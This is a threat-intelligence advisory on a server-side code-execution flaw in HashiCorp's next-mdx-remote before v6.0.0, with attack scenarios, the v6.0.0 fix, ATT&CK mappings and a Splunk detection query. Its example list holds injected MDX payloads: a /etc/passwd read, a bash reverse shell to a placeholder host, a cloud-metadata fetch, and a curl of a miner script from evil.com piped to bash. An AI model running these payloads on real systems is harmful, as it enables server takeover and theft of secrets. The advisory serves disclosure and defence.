# next-mdx-remote High-Severity RCE: Server-Side MDX Compilation Attack — 2.5M+ Weekly Downloads, HashiCorp Next.js Supply Chain Risk

> A high-severity Remote Code Execution (RCE) vulnerability exists in HashiCorp's next-mdx-remote, a popular npm package (2.5M+ weekly downloads) used by Next.js applications to load and render MDX content from external sources. Versions prior to 6.0.0 allow arbitrary JavaScript execution during server-side MDX compilation when processing untrusted input. MDX (Markdown + JSX) inherently supports embedded JavaScript expressions ({variable}, {func()}) and JSX components, which are compiled and executed server-side by the serialize() function. Applications that pass user-controlled or externally-sourced MDX content to serialize() without sanitization are vulnerable to server-side code execution — enabling file system access, environment variable exfiltration, reverse shells, and full server compromise. HashiCorp addressed this in v6.0.0 by introducing blockJS (removes JS expressions) and blockDangerousJS (blocks eval, Function, process, require when JS is allowed) parameters, both defaulting to true. All versions 4.x and 5.x are vulnerable when processing untrusted MDX input. Discovered and disclosed via Socket Security.

- **Author:** Threadlinqs Team
- **Published:** 2026-02-12T16:03:00Z
- **Last updated:** 2026-02-12T16:03:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0078
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-next-mdx-remote-rce-tl-2026-0078.webp?v=499caca1 (Threadlinqs threat intel: next-mdx-remote Server-Side MDX RCE: Detection & IOCs (TL-2026-0078) — High severity, 30 IOCs, 12 detection rules.)
- **ID:** TL-2026-0078
- **Severity:** HIGH
- **Category:** VULNERABILITY
- **Status:** PATCHED
- **Detections:** 12 (1 shown free below) · **IOCs:** 30

## Description

SERVER-SIDE MDX COMPILATION AS AN RCE VECTOR

Next-mdx-remote is a widely-used utility for loading MDX content from external sources (databases, CMSes, APIs, git repositories) in Next.js applications. MDX extends Markdown with JSX component support and embedded JavaScript expressions. The serialize() function compiles MDX to JavaScript on the server — this is the vulnerability.

THE VULNERABILITY:

MDX is not just Markdown — it supports:
1. JavaScript expressions: {variable}, {func()}, {process.env.SECRET}
2. JSX components: <Component />, <Script />
3. Import/export statements: import fs from 'fs'
4. Any valid JavaScript within curly braces

The serialize() function in next-mdx-remote compiles MDX source into JavaScript and evaluates it server-side (in getStaticProps, getServerSideProps, or API routes). Before v6.0.0, there was NO mechanism to block JavaScript execution during compilation. Any JavaScript in the MDX source would be compiled and executed with the full privileges of the Node.js server process.

ATTACK SCENARIOS:

1. CMS-SOURCED CONTENT: A Next.js blog or documentation site pulls MDX from a headless CMS (Contentful, Sanity, Strapi). If an attacker compromises the CMS or a content author account, they can inject JavaScript into MDX that executes on the Next.js server during build or request time.

2. USER-GENERATED CONTENT: Applications allowing users to write in MDX (documentation platforms, knowledge bases, collaborative editing tools) pass user input directly to serialize(). Malicious users embed JavaScript that executes server-side.

3. DATABASE-SOURCED CONTENT: MDX stored in databases (MongoDB, PostgreSQL) is fetched and compiled. SQL injection or NoSQL injection that modifies MDX content leads to server-side code execution.

4. GIT-BASED CONTENT: Documentation sites pulling MDX from git repositories (common in developer documentation). A malicious PR or compromised contributor injects JavaScript into .mdx files that executes during build.

EXPLOIT EXAMPLES (pre-v6.0.0):

- Environment variable exfiltration: {process.env.DATABASE_URL}
- File system read: {require('fs').readFileSync('/etc/passwd', 'utf8')}
- Reverse shell: {require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')}
- Server-side request forgery: {fetch('http://169.254.169.254/latest/meta-data/')}
- Crypto mining: {require('child_process').spawn('curl', ['-s', 'http://evil.com/miner.sh', '|', 'bash'])}

THE FIX (v6.0.0):

HashiCorp introduced two new parameters to serialize():

1. blockJS (default: true) — Removes all JavaScript expressions from MDX during compilation. When true, expressions like {variable} and {func()} are stripped. This is the nuclear option — safe but removes dynamic MDX functionality.

2. blockDangerousJS (default: true) — When blockJS is false (JS allowed), provides best-effort blocking of dangerous JavaScript: prevents access to eval(), Function(), process, require(), import(), and other dangerous globals. This allows safe expressions like {variable} while blocking code execution.

Both default to true in v6.0.0, making the secure configuration the default. Applications upgrading from v4.x/v5.x that rely on JavaScript expressions in MDX will need to explicitly set blockJS: false and rely on blockDangerousJS for protection.

IMPACT SCOPE:

Next-mdx-remote has approximately 2.5 million weekly downloads on npm. It is used extensively in:
- Developer documentation sites (HashiCorp's own docs, Vercel examples)
- Blog platforms built on Next.js
- Knowledge base and wiki applications
- Content-heavy Next.js applications with external content sources
- JAMstack sites pulling content from headless CMSes

The vulnerability is NOT exploitable when:
- MDX content comes only from trusted, developer-controlled sources (local files committed to the repo)
- MDX content is pre-compiled at build time with no user input
- The application uses only Markdown (no JSX/JS expressions)

The vulnerability IS exploitable when:
- MDX content comes from external sources (CMS, database, API)
- Users can contribute or edit MDX content
- Content sources can be compromised (CMS account takeover, database injection)
- MDX files are sourced from untrusted git contributors

## MITRE ATT&CK

- T1195 Supply Chain Compromise
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1203 Exploitation for Client Execution
- T1505 Server Software Component
- T1068 Exploitation for Privilege Escalation
- T1027 Obfuscated Files or Information
- T1552 Unsecured Credentials
- T1082 System Information Discovery
- T1083 File and Directory Discovery
- T1580 Cloud Infrastructure Discovery
- T1210 Exploitation of Remote Services
- T1005 Data from Local System
- T1213 Data from Information Repositories
- T1567 Exfiltration Over Web Service
- T1041 Exfiltration Over C2 Channel
- T1496 Resource Hijacking
- T1485 Data Destruction
- T1596 Search Open Technical Databases
- T1608 Stage Capabilities
- T1046 Network Service Discovery
- T1530 Data from Cloud Storage
- T1036 Masquerading
- T1587 Develop Capabilities
- T1588 Obtain Capabilities
- T1499 Endpoint Denial of Service

## Free detection (Splunk SPL)

**next-mdx-remote RCE — MDX Injection Payload in HTTP Request Body** (`TL-2026-0078-SPL-001`)

Detects MDX injection payloads in HTTP request bodies targeting Next.js applications using next-mdx-remote v4.3.0–5.x. Monitors for dangerous JavaScript patterns (require, process, child_process, eval, Function, export) in POST request bodies to Next.js API routes or content submission endpoints. MDX is compiled server-side by serialize() — any JavaScript in user-submitted MDX executes on the Node.js server. the attack simulation confirmed these patterns as the primary exploitation vectors. serialize(userInput) = eval(userInput).

- **Language:** Splunk SPL
- **ATT&CK:** T1190, T1059.007, T1195.001
- **Data sources:** proxy_logs, webserver_logs, waf_logs
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=proxy OR index=webserver (cs_method="POST" OR cs_method="PUT" OR cs_method="PATCH")
| eval body_lower=lower(cs_body)
| where (body_lower LIKE "%require(%" AND (body_lower LIKE "%child_process%" OR body_lower LIKE "%'fs'%" OR body_lower LIKE "%\"fs\"%" OR body_lower LIKE "%'os'%" OR body_lower LIKE "%'net'%" OR body_lower LIKE "%'http'%"))
    OR (body_lower LIKE "%process.env%" OR body_lower LIKE "%process.exit%")
    OR (body_lower LIKE "%execsync(%" OR body_lower LIKE "%exec(%" AND body_lower LIKE "%child_process%")
    OR (body_lower LIKE "%eval(%" AND (body_lower LIKE "%export%" OR body_lower LIKE "%import%"))
    OR (body_lower LIKE "%new function(%")
| eval injection_type=case(
    body_lower LIKE "%child_process%", "CRITICAL — Command execution via child_process",
    body_lower LIKE "%process.env%", "HIGH — Environment variable exfiltration",
    body_lower LIKE "%require(%" AND body_lower LIKE "%fs%", "HIGH — File system access via require('fs')",
    body_lower LIKE "%eval(%", "HIGH — Dynamic code evaluation",
    1=1, "MEDIUM — Suspicious MDX pattern")
| stats count AS attempts, earliest(_time) AS first_seen, latest(_time) AS last_seen, values(c_ip) AS source_ips, values(cs_uri_stem) AS target_uris BY injection_type, cs_host
| sort - attempts
| table cs_host, injection_type, attempts, source_ips, target_uris, first_seen, last_seen
```

**Known false positives:**

- Developer documentation sites where code examples contain require/process patterns in body
- CMS preview endpoints used by trusted content authors

**Tuning notes:** Apply this detection to endpoints that accept MDX content — typically POST to /api/*, content submission forms, and CMS webhook endpoints. Reduce false positives by whitelisting trusted CMS admin IPs. For documentation sites discussing Node.js, use a separate content-type header check (application/json with MDX field vs text/markdown). The require('child_process') pattern is near-zero false positive in user-submitted content — any occurrence is HIGH confidence injection.

### 11 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- next-mdx-remote RCE — Cloud Metadata SSRF from Node.js Application (locked: unlock with TL Creds)
- next-mdx-remote RCE — Outbound Reverse Shell from Next.js Application (locked: unlock with TL Creds)
- next-mdx-remote RCE — File System Access Outside Application Directory (locked: unlock with TL Creds)
- next-mdx-remote RCE — MDX Export Statement Injection in User Content (locked: unlock with TL Creds)
- next-mdx-remote RCE — Node.js Core Module Import in MDX Content (locked: unlock with TL Creds)
- next-mdx-remote RCE — Post-Exploitation Reverse Shell and Persistent Access from Web Application (locked: unlock with TL Creds)
- next-mdx-remote RCE — Suspicious Child Process from Node.js Server (locked: unlock with TL Creds)
- next-mdx-remote RCE — MDX Injection Payload in HTTP Request Body (locked: unlock with TL Creds)
- next-mdx-remote RCE — Environment Variable Leak in HTTP Response (locked: unlock with TL Creds)
- next-mdx-remote RCE — Suspicious Child Process from Node.js/Next.js Server (locked: unlock with TL Creds)
- next-mdx-remote RCE — Environment Variable Disclosure in HTTP Response (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sources

- [Socket Security: High-Severity RCE Vulnerability Disclosed in next-mdx-remote](https://socket.dev/blog/high-severity-rce-vulnerability-disclosed-in-next-mdx-remote)
- [HashiCorp next-mdx-remote v6.0.0 Release PR #498 — Security Parameters](https://github.com/hashicorp/next-mdx-remote/pull/498)
- [HashiCorp next-mdx-remote CHANGELOG — v6.0.0 Breaking Changes](https://raw.githubusercontent.com/hashicorp/next-mdx-remote/main/CHANGELOG.md)
- [HashiCorp next-mdx-remote GitHub Repository — Updated README with Security Documentation](https://github.com/hashicorp/next-mdx-remote)
- [GitHub Advisory Database — next-mdx-remote Security Advisory](https://github.com/advisories?query=next-mdx-remote)
- [MDX Official Documentation — What is MDX (Markdown + JavaScript)](https://mdxjs.com/docs/what-is-mdx/)

## Full data

The other 11 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple and Gold in full, 2 calls a day on a free account): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0078
